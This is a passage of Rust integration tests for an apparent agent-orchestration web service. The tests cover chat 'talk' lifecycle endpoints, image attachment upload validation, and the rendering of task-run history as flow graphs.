12181 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12182 let f = Fixture::with_repo(repo).await;
12183 let id = f.post("/api/talks", None).await.json()["id"]
12184 .as_str()
12185 .expect("id")
12186 .to_owned();
12187 let store = f.talks();
12188 let mut recovered = store.get(&id).expect("opened talk");
12189 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12190 .expect("persist pending draft without a live turn");
12191
12192 let refused = f
12193 .post(
12194 &format!("/api/talks/{id}/say"),
12195 Some(r#"{"text":"new message"}"#),
12196 )
12197 .await;
12198 assert_eq!(refused.status, 409, "{}", refused.body);
12199 assert!(refused.body.contains("resume"), "{}", refused.body);
12200 let saved = store.get(&id).expect("draft remains after refusal");
12201 assert!(saved.turns.is_empty());
12202 assert_eq!(saved.pending, "saved before restart");
12203
12204 let say_path = format!("/api/talks/{id}/say");
12205 let (first, second) = tokio::join!(
12206 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
12207 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
12208 );
12209 assert_eq!(first.status, 409, "{}", first.body);
12210 assert_eq!(second.status, 409, "{}", second.body);
12211 let saved = store
12212 .get(&id)
12213 .expect("draft remains after concurrent refusals");
12214 assert!(saved.turns.is_empty());
12215 assert_eq!(saved.pending, "saved before restart");
12216
12217 let resumed = f
12218 .post(&format!("/api/talks/{id}/pending/resume"), None)
12219 .await;
12220 assert_eq!(resumed.status, 202, "{}", resumed.body);
12221 let duplicate = f
12222 .post(&format!("/api/talks/{id}/pending/resume"), None)
12223 .await;
12224 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
12225
12226 for _ in 0..SETTLE_STEPS {
12227 if store.get(&id).expect("talk").turns.len() == 2 {
12228 break;
12229 }
12230 tokio::time::sleep(Duration::from_millis(10)).await;
12231 }
12232 let finished = store.get(&id).expect("finished talk");
12233 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12234 assert_eq!(finished.turns[0].body, "saved before restart");
12235 assert!(finished.pending.is_empty());
12236 }
12237
12238 #[tokio::test]
12239 async fn an_image_only_recovered_draft_resumes_without_text() {
12240 let (_tmp, _repo, f) = talk_fixture().await;
12241 let id = f.post("/api/talks", None).await.json()["id"]
12242 .as_str()
12243 .expect("id")
12244 .to_owned();
12245 let uploaded = f
12246 .post_bytes(
12247 &format!("/api/talks/{id}/attachments"),
12248 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
12249 PNG_BYTES,
12250 )
12251 .await;
12252 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12253 let attachment = f
12254 .talks()
12255 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
12256 .expect("attachment metadata")
12257 .expect("stored attachment");
12258 let store = f.talks();
12259 let mut recovered = store.get(&id).expect("opened talk");
12260 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
12261
12262 let resumed = f
12263 .post(&format!("/api/talks/{id}/pending/resume"), None)
12264 .await;
12265 assert_eq!(resumed.status, 202, "{}", resumed.body);
12266 for _ in 0..SETTLE_STEPS {
12267 if store.get(&id).expect("talk").turns.len() == 2 {
12268 break;
12269 }
12270 tokio::time::sleep(Duration::from_millis(10)).await;
12271 }
12272 let finished = store.get(&id).expect("finished talk");
12273 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12274 assert!(finished.turns[0].body.is_empty());
12275 assert_eq!(finished.turns[0].attachments.len(), 1);
12276 assert!(finished.pending_attachments.is_empty());
12277 }
12278
12279 #[tokio::test]
12280 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
12281 let (_tmp, _repo, f) = talk_fixture().await;
12282 let id = f.post("/api/talks", None).await.json()["id"]
12283 .as_str()
12284 .expect("id")
12285 .to_owned();
12286 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12287 assert_eq!(closed.status, 200, "{}", closed.body);
12288 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12289 .expect("serialize closed talk");
12290 for (path, body) in [
12291 (format!("/api/talks/{id}/pending/resume"), None),
12292 (
12293 format!("/api/talks/{id}/pending/clear"),
12294 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
12295 ),
12296 (
12297 format!("/api/talks/{id}/pending/edit"),
12298 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
12299 ),
12300 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
12301 ] {
12302 let response = f.post(&path, body).await;
12303 assert_eq!(response.status, 409, "{}", response.body);
12304 }
12305 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12306 .expect("serialize closed talk");
12307 assert_eq!(
12308 after_clear, before_clear,
12309 "clear must not rewrite a closed talk"
12310 );
12311 }
12312
12313 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
12316
12317 #[tokio::test]
12318 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
12319 let tmp = TempDir::new().expect("tempdir");
12320 let repo = tmp.path().join("repo");
12321 std::fs::create_dir_all(&repo).expect("repo dir");
12322 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12323 let f = Fixture::with_repo(repo).await;
12324 let id_a = f.post("/api/talks", None).await.json()["id"]
12325 .as_str()
12326 .unwrap()
12327 .to_owned();
12328 let id_b = f.post("/api/talks", None).await.json()["id"]
12329 .as_str()
12330 .unwrap()
12331 .to_owned();
12332
12333 let a = f
12334 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
12335 .await;
12336 assert_eq!(a.status, 202, "{}", a.body);
12337 assert_eq!(a.json()["thinking"], true);
12338 let b = f
12339 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
12340 .await;
12341 assert_eq!(b.status, 202, "{}", b.body);
12342 assert_eq!(b.json()["thinking"], true);
12343
12344 let listed = f.get("/api/talks").await.json();
12345 for id in [&id_a, &id_b] {
12346 let view = listed
12347 .as_array()
12348 .unwrap()
12349 .iter()
12350 .find(|talk| talk["id"] == *id)
12351 .unwrap();
12352 assert_eq!(view["thinking"], true, "{listed}");
12353 }
12354 let repeated = f
12355 .post(
12356 &format!("/api/talks/{id_a}/say"),
12357 Some(r#"{"text":"again"}"#),
12358 )
12359 .await;
12360 assert_eq!(repeated.status, 202, "{}", repeated.body);
12361 assert_eq!(repeated.json()["pending"], "again");
12362 }
12363
12364 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
12367
12368 #[tokio::test]
12369 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
12370 let f = Fixture::start().await;
12371 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
12372
12373 let res = f
12374 .post_bytes(
12375 &format!("/api/talks/{id}/attachments"),
12376 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12377 PNG_BYTES,
12378 )
12379 .await;
12380 assert_eq!(res.status, 201, "{}", res.body);
12381 let body = res.json();
12382 assert_eq!(body["name"], "shot.png");
12383 assert_eq!(body["mime"], "image/png");
12384 assert_eq!(body["bytes"], PNG_BYTES.len());
12385 let att_id = body["id"].as_str().expect("id").to_owned();
12386 assert_eq!(
12387 att_id.len(),
12388 32,
12389 "the id must never be a client-suppliable path: {att_id}"
12390 );
12391
12392 let got = f
12393 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
12394 .await;
12395 assert_eq!(got.status, 200, "{}", got.body);
12396 assert_eq!(got.header("content-type"), Some("image/png"));
12397 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
12398 assert_eq!(got.bytes, PNG_BYTES);
12399 }
12400
12401 #[tokio::test]
12402 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
12403 let f = Fixture::start().await;
12404 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
12405
12406 let svg = f
12409 .post_bytes(
12410 &format!("/api/talks/{id}/attachments"),
12411 &[("Content-Type", "image/svg+xml")],
12412 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
12413 )
12414 .await;
12415 assert!(
12416 (400..500).contains(&svg.status),
12417 "svg must be refused: {} {}",
12418 svg.status,
12419 svg.body
12420 );
12421 assert!(svg.body.contains("SVG"), "{}", svg.body);
12422
12423 let text = f
12424 .post_bytes(
12425 &format!("/api/talks/{id}/attachments"),
12426 &[("Content-Type", "text/plain")],
12427 b"just some text",
12428 )
12429 .await;
12430 assert!(
12431 (400..500).contains(&text.status),
12432 "an unlisted type must be refused: {} {}",
12433 text.status,
12434 text.body
12435 );
12436
12437 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
12440 let big = f
12441 .post_bytes(
12442 &format!("/api/talks/{id}/attachments"),
12443 &[("Content-Type", "image/png")],
12444 &oversized,
12445 )
12446 .await;
12447 assert_eq!(
12448 big.status,
12449 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
12450 "{}",
12451 big.body
12452 );
12453 }
12454
12455 #[tokio::test]
12456 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
12457 let f = Fixture::start().await;
12458 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
12459
12460 let res = f
12463 .post_bytes(
12464 &format!("/api/talks/{id}/attachments"),
12465 &[("Content-Type", "image/png")],
12466 b"<html>not a picture</html>",
12467 )
12468 .await;
12469 assert!((400..500).contains(&res.status), "{}", res.body);
12470 }
12471
12472 #[tokio::test]
12473 async fn an_unknown_attachment_id_is_a_404() {
12474 let f = Fixture::start().await;
12475 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
12476
12477 let res = f
12478 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
12479 .await;
12480 assert_eq!(res.status, 404, "{}", res.body);
12481 }
12482
12483 #[tokio::test]
12484 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
12485 let f = Fixture::start().await;
12486 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
12487
12488 let uploaded = f
12489 .post_bytes(
12490 &format!("/api/talks/{id}/attachments"),
12491 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12492 PNG_BYTES,
12493 )
12494 .await;
12495 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12496 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
12497
12498 let res = f
12499 .post(
12500 &format!("/api/talks/{id}/say"),
12501 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
12502 )
12503 .await;
12504 assert_eq!(res.status, 202, "{}", res.body);
12505 let queued = res.json();
12506 let turns = queued["turns"].as_array().expect("turns array");
12507 assert_eq!(
12508 turns.len(),
12509 1,
12510 "an empty body with an attachment is still a turn: {queued}"
12511 );
12512 assert_eq!(turns[0]["who"], "operator");
12513 assert_eq!(turns[0]["body"], "");
12514 let atts = turns[0]["attachments"]
12515 .as_array()
12516 .expect("attachments array");
12517 assert_eq!(atts.len(), 1);
12518 assert_eq!(atts[0]["id"], att_id);
12519 assert_eq!(atts[0]["mime"], "image/png");
12520
12521 let on_disk = f.talks().get(&id).expect("get");
12524 assert_eq!(on_disk.turns[0].attachments.len(), 1);
12525 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
12526 }
12527
12528 #[tokio::test]
12529 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
12530 let f = Fixture::start().await;
12531 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
12532
12533 let res = f
12534 .post(
12535 &format!("/api/talks/{id}/say"),
12536 Some(&format!(
12537 r#"{{"text":"hi","attachments":["{}"]}}"#,
12538 "a".repeat(32)
12539 )),
12540 )
12541 .await;
12542 assert!((400..500).contains(&res.status), "{}", res.body);
12543 assert!(res.body.contains("unknown attachment"), "{}", res.body);
12544
12545 let on_disk = f.talks().get(&id).expect("get");
12546 assert!(
12547 on_disk.turns.is_empty(),
12548 "a rejected attachment id must not partially record the turn: {:?}",
12549 on_disk.turns
12550 );
12551 }
12552
12553 #[tokio::test]
12554 async fn talk_close_makes_the_talk_refuse_further_turns() {
12555 let f = Fixture::start().await;
12556 let id = seed_talk(&f, "20260904-014455-cd34", "open");
12557
12558 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12559 assert_eq!(closed.status, 200, "{}", closed.body);
12560 assert_eq!(closed.json()["status"], "closed");
12561
12562 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
12564 assert_eq!(closed_again.status, 200);
12565 assert_eq!(closed_again.json()["status"], "closed");
12566
12567 let said = f
12568 .post(
12569 &format!("/api/talks/{id}/say"),
12570 Some(r#"{"text":"too late"}"#),
12571 )
12572 .await;
12573 assert_eq!(said.status, 409, "{}", said.body);
12574 }
12575
12576 #[tokio::test]
12577 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
12578 let (_tmp, _repo, f) = talk_fixture().await;
12579 let id = f.post("/api/talks", None).await.json()["id"]
12580 .as_str()
12581 .expect("id")
12582 .to_owned();
12583 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12584 assert_eq!(closed.status, 200, "{}", closed.body);
12585
12586 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12587 assert_eq!(reopened.status, 200, "{}", reopened.body);
12588 assert_eq!(reopened.json()["status"], "open");
12589
12590 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12592 assert_eq!(reopened_again.status, 200);
12593 assert_eq!(reopened_again.json()["status"], "open");
12594
12595 let said = f
12596 .post(
12597 &format!("/api/talks/{id}/say"),
12598 Some(r#"{"text":"still there?"}"#),
12599 )
12600 .await;
12601 assert_eq!(
12602 said.status, 202,
12603 "a reopened talk accepts turns again: {}",
12604 said.body
12605 );
12606 }
12607
12608 #[tokio::test]
12609 async fn talk_reopen_on_an_unknown_id_is_404() {
12610 let f = Fixture::start().await;
12611 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12612 assert_eq!(res.status, 404, "{}", res.body);
12613 }
12614
12615 #[tokio::test]
12616 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12617 let f = Fixture::start().await;
12618 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12619
12620 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12621 assert_eq!(deleted.status, 204, "{}", deleted.body);
12622
12623 let after = f.get(&format!("/api/talks/{id}")).await;
12624 assert_eq!(after.status, 404, "{}", after.body);
12625
12626 let listed = f.get("/api/talks").await.json();
12627 assert!(
12628 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12629 "a deleted talk must not linger in the list: {listed}"
12630 );
12631 }
12632
12633 #[tokio::test]
12634 async fn talk_delete_on_an_unknown_id_is_404() {
12635 let f = Fixture::start().await;
12636 let res = f.delete("/api/talks/nonexistent-id").await;
12637 assert_eq!(res.status, 404, "{}", res.body);
12638 }
12639
12640 #[tokio::test]
12644 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12645 let f = Fixture::start().await;
12646 let (a, b, gone) = (
12647 "20260902-140501-aaaa",
12648 "20260902-140502-bbbb",
12649 "20260902-140503-cccc",
12650 );
12651 write_run(&f.runs(), a, RunStatus::Stalled);
12652 let mut review = RunState::new(
12653 PathBuf::from("/repo/magi"),
12654 "main".to_owned(),
12655 "0123456789abcdef".to_owned(),
12656 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12657 .to_owned(),
12658 Config::default(),
12659 );
12660 review.id = b.to_owned();
12661 review.status = RunStatus::Merged;
12662 write_state(&f.runs(), &review);
12663
12664 let mut task = Task::new(
12665 "retry".to_owned(),
12666 "Do the thing".to_owned(),
12667 PathBuf::from("/repo/magi"),
12668 Source::Human,
12669 );
12670 task.start(a.to_owned());
12671 task.stall("quota");
12672 task.start(a.to_owned());
12673 task.start(b.to_owned());
12674 task.start(gone.to_owned());
12675 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12677 f.queue().put(&mut task).expect("file the task");
12678
12679 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12680 assert_eq!(res.status, 200, "{}", res.body);
12681 let v = res.json();
12682 let h = v["history"].as_array().expect("history");
12683 assert_eq!(h.len(), 4, "{v}");
12684 assert_eq!(h[0]["kind"], "competition");
12685 assert_eq!(h[0]["status"], "stalled");
12686 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12687 assert_eq!(h[1]["kind"], "resume", "{v}");
12688 assert!(
12689 h[0]["outcome"]
12690 .as_str()
12691 .unwrap()
12692 .contains("unknown. Pass #2"),
12693 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12694 );
12695 assert!(
12696 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12697 "{v}"
12698 );
12699 assert!(
12700 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12701 "an unrecorded cause must not be narrated as an operator park: {v}"
12702 );
12703 assert_eq!(h[2]["kind"], "review");
12704 assert!(
12705 h[2]["description"]
12706 .as_str()
12707 .unwrap()
12708 .contains("magi/aaaa/A")
12709 );
12710 assert_eq!(h[2]["status"], "merged");
12711 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12712 assert_eq!(v["runs_unreadable"], 1);
12713 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12714 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12715 assert_eq!(nodes[4]["note"], "unreadable");
12716 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12717 assert_eq!(v["instruction"], "Do the thing");
12718 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12719
12720 let run = f.get(&format!("/api/runs/{a}")).await.json();
12722 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12723
12724 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12725 }
12726
12727 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12728 let mut s = RunState::new(
12729 PathBuf::from("/repo/magi"),
12730 "main".to_owned(),
12731 "0123456789abcdef".to_owned(),
12732 "Do it".to_owned(),
12733 Config::default(),
12734 );
12735 s.status = status;
12736 edit(&mut s);
12737 s
12738 }
12739
12740 fn flow_task(runs: &[&str]) -> Task {
12741 let mut t = Task::new(
12742 "t".to_owned(),
12743 "Do it".to_owned(),
12744 PathBuf::from("/repo/magi"),
12745 Source::Human,
12746 );
12747 for r in runs {
12748 t.start((*r).to_owned());
12749 }
12750 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12752 t
12753 }
12754
12755 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12756 let h = task_history(task, |id| {
12757 states
12758 .iter()
12759 .find(|(i, _)| *i == id)
12760 .and_then(|(_, s)| s.clone())
12761 });
12762 task_flow(task, &h, 5, None)
12763 }
12764
12765 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12766 crate::queue::FollowUp {
12767 run: "20260901-000000-aaaa".to_owned(),
12768 origin_task: origin_task.map(str::to_owned),
12769 pr: "https://example.com/o/r/pull/1".to_owned(),
12770 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12771 .map(str::to_owned)
12772 .to_vec(),
12773 generation: 1,
12774 }
12775 }
12776
12777 fn parent_task() -> Task {
12778 let mut p = flow_task(&[]);
12779 p.title = "Parent title".to_owned();
12780 p.status = TaskStatus::Done;
12781 p
12782 }
12783
12784 #[test]
12785 fn flow_opens_with_the_parent_task_of_a_followup() {
12786 let p = parent_task();
12787 let pid = p.id.clone();
12788 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12789 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12790 let n = &f.nodes[0];
12791 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12792 assert_eq!(
12793 n.label,
12794 format!("Follow-up of {}", crate::queue::short(&pid))
12795 );
12796 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12797 assert_eq!(n.status, Some("done"));
12798 assert_eq!(n.status_of, "task");
12799 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12800 assert_eq!(f.nodes[1].key, "start");
12801 assert_eq!(f.edges[0].from, "origin");
12802 assert_eq!(
12803 f.edges[0].label,
12804 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12805 );
12806 }
12807
12808 #[test]
12809 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12810 let o = followup_origin(
12811 &fu(Some("gone")),
12812 |_| None,
12813 |_| {
12814 Some(RunState::new(
12815 std::path::PathBuf::from("."),
12816 "main".to_owned(),
12817 "0".to_owned(),
12818 "t".to_owned(),
12819 crate::config::Config::default(),
12820 ))
12821 },
12822 );
12823 assert!(o.parent.is_none());
12824 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12825 let n = &f.nodes[0];
12826 assert_eq!(n.status_of, "run");
12827 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12828 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12829 }
12830
12831 #[test]
12832 fn flow_followup_with_nothing_readable_has_no_link() {
12833 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12834 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12835 let n = &f.nodes[0];
12836 assert_eq!(n.href, None);
12837 assert_eq!(n.note, Some("unreadable"));
12838 assert!(!n.readable);
12839 }
12840
12841 #[test]
12842 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12843 let o = followup_origin(&fu(None), |_| None, |_| None);
12844 let mut t = flow_task(&[]);
12845 t.origin_chat = Some("c1".to_owned());
12846 let f = task_flow(&t, &[], 5, Some(&o));
12847 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12848 t.source = Source::Agent {
12849 run: "c1".to_owned(),
12850 node: crate::queue::CHAT_NODE.to_owned(),
12851 };
12852 let f = task_flow(&t, &[], 5, Some(&o));
12853 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12854 assert_eq!(
12855 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12856 ("chat", "origin")
12857 );
12858 }
12859
12860 #[test]
12861 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12862 let mut p = parent_task();
12863 p.id = "a b/c".to_owned();
12864 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12865 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12866 }
12867
12868 #[test]
12869 fn flow_opens_with_the_chat_that_queued_the_task() {
12870 let mut t = flow_task(&[]);
12871 t.source = Source::Agent {
12872 run: "a b/c".to_owned(),
12873 node: crate::queue::CHAT_NODE.to_owned(),
12874 };
12875 let f = flow_for(&t, &[]);
12876 assert_eq!(f.nodes[0].key, "chat");
12877 assert_eq!(f.nodes[0].kind, "chat");
12878 assert_eq!(
12879 f.nodes[0].label,
12880 format!("Chat {}", crate::queue::short("a b/c"))
12881 );
12882 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12883 assert_eq!(f.nodes[1].key, "start");
12884 assert_eq!(
12885 f.edges[0],
12886 FlowEdge {
12887 from: "chat".to_owned(),
12888 to: "start".to_owned(),
12889 label: "queued from chat".to_owned(),
12890 attempt: AttemptCost::None,
12891 }
12892 );
12893 }
12894
12895 #[test]
12896 fn flow_has_no_chat_box_for_other_sources() {
12897 for source in [
12898 Source::Human,
12899 Source::Issue {
12900 number: 3,
12901 repo: "o/r".to_owned(),
12902 },
12903 Source::Agent {
12904 run: "20260904-014455-ab12".to_owned(),
12905 node: "implement".to_owned(),
12906 },
12907 ] {
12908 let mut t = flow_task(&[]);
12909 t.source = source;
12910 let f = flow_for(&t, &[]);
12911 assert_eq!(f.nodes[0].key, "start");
12912 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12913 assert!(f.edges.iter().all(|e| e.from != "chat"));
12914 }
12915 }
12916
12917 const FA: &str = "20260902-140501-aaaa";
12918 const FB: &str = "20260902-140502-bbbb";
12919
12920 #[test]
12921 fn flow_follows_blocked_retry_merged_to_done() {
12922 let mut t = flow_task(&[FA, FB]);
12923 t.status = TaskStatus::Done;
12924 let f = flow_for(
12925 &t,
12926 &[
12927 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12928 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12929 ],
12930 );
12931 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12932 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12933 assert_eq!(f.edges.len(), 3);
12934 assert_eq!(f.edges[0].label, "claimed");
12935 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12936 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12937 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12938 assert_eq!(
12939 f.nodes[2].href.as_deref(),
12940 Some("#/runs/20260902-140502-bbbb")
12941 );
12942 assert!(f.nodes[2].decided);
12943 }
12944
12945 #[test]
12946 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12947 let quota = || {
12948 flow_run(RunStatus::Stalled, |s| {
12949 s.quota.push(crate::run::QuotaLoss {
12950 seat: "judge-1".to_owned(),
12951 node: "judge".to_owned(),
12952 at: Timestamp::now(),
12953 reset: None,
12954 })
12955 })
12956 };
12957 let mut t = flow_task(&[FA, FA]);
12958 t.status = TaskStatus::Queued;
12959 let f = flow_for(&t, &[(FA, Some(quota()))]);
12960 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12961 assert_eq!(f.nodes[1].note, Some("interrupted"));
12962 assert_eq!(
12963 f.nodes[1].status, None,
12964 "no outcome copied onto an earlier pass"
12965 );
12966 assert_eq!(
12967 f.edges[1].attempt,
12968 AttemptCost::Unknown,
12969 "a resume does not prove the earlier pass was refunded"
12970 );
12971 assert!(f.edges[1].label.contains("resume the same run"));
12972 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12973 assert_eq!(
12974 f.edges[2].label,
12975 "stalled after a resume, refund unknown \u{2192} queued"
12976 );
12977 assert!(!f.nodes[2].decided, "a stall is not a decision");
12978 assert_eq!(f.nodes[2].note, Some("no verdict"));
12979 }
12980
12981 #[test]
12982 fn flow_single_pass_quota_stall_is_refunded() {
12983 let t = flow_task(&[FA]);
12984 let f = flow_for(
12985 &t,
12986 &[(
12987 FA,
12988 Some(flow_run(RunStatus::Stalled, |s| {
12989 s.quota.push(crate::run::QuotaLoss {
12990 seat: "judge-1".to_owned(),
12991 node: "judge".to_owned(),
12992 at: Timestamp::now(),
12993 reset: None,
12994 })
12995 })),
12996 )],
12997 );
12998 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12999 }
13000
13001 #[test]
13002 fn flow_parked_refunds_and_stall_without_quota_spends() {
13003 let mut t = flow_task(&[FA]);
13004 t.status = TaskStatus::Queued;
13005 let f = flow_for(
13006 &t,
13007 &[(
13008 FA,
13009 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13010 )],
13011 );
13012 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13013 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13014 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13015 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13016 assert!(!f.nodes[1].decided);
13017 }
13018
13019 #[test]
13020 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13021 let t = flow_task(&[FA, FB]);
13022 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13023 assert_eq!(f.nodes[1].note, Some("unreadable"));
13024 assert!(!f.nodes[1].readable);
13025 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13026 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13027 }
13028
13029 #[test]
13030 fn flow_names_the_branch_of_a_review_only_run() {
13031 let t = flow_task(&[FA]);
13032 let f = flow_for(
13033 &t,
13034 &[(
13035 FA,
13036 Some(flow_run(RunStatus::Merged, |s| {
13037 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13038 })),
13039 )],
13040 );
13041 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13042 assert_eq!(
13043 f.nodes[1].detail.as_deref(),
13044 Some("review-only run of branch magi/x/A")
13045 );
13046 }
13047
13048 #[test]
13049 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13050 let mut t = flow_task(&[FA]);
13051 t.status = TaskStatus::Held;
13052 let pr = crate::run::PrRecord {
13053 url: "https://example.test/pr/1".to_owned(),
13054 number: 1,
13055 state: "open".to_owned(),
13056 checks: "green".to_owned(),
13057 round: 0,
13058 rounds: 3,
13059 red_at_merge: Vec::new(),
13060 };
13061 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13062 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13063 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13064 t.status = TaskStatus::Done;
13065 let f = flow_for(&t, &[(FA, Some(blocked))]);
13066 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13067 }
13068
13069 #[test]
13070 fn flow_with_no_runs_goes_from_queued_to_queued() {
13071 let t = flow_task(&[]);
13072 let f = flow_for(&t, &[]);
13073 assert_eq!(f.nodes.len(), 2);
13074 assert_eq!(f.edges.len(), 1);
13075 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
